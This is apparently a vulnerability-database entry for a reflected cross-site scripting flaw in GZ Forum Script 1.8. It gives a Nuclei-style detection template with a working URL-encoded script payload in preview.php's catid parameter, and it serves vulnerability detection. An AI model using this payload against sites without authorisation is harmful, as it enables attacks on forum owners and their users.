gz-forum-script-xss: GZ Forum Script 1.8 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: GZ Forum Script | POC: 已公开

漏洞描述

Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.

PoC代码[已公开]

id: gz-forum-script-xss

info:
  name: GZ Forum Script 1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.
  reference:
    - https://www.exploit-db.com/exploits/51559
    - https://gzscripts.com/gz-forum-script.html
  metadata:
    verified: true
    max-request: 1
  tags: gzforum,xss,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "><script>alert(document.domain)</script>") && contains(body, "New Topic")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 490a00463044021f08fcc3d81da0a9850a9341883e90d945f0aa4582512278821fb6bec70ebbe60221008fbfc12194295aba01e80599b68962ca0dde269048c2263e13d1a2017f2426c5:922c64590222798bb761d5b6d8e72950

相关漏洞推荐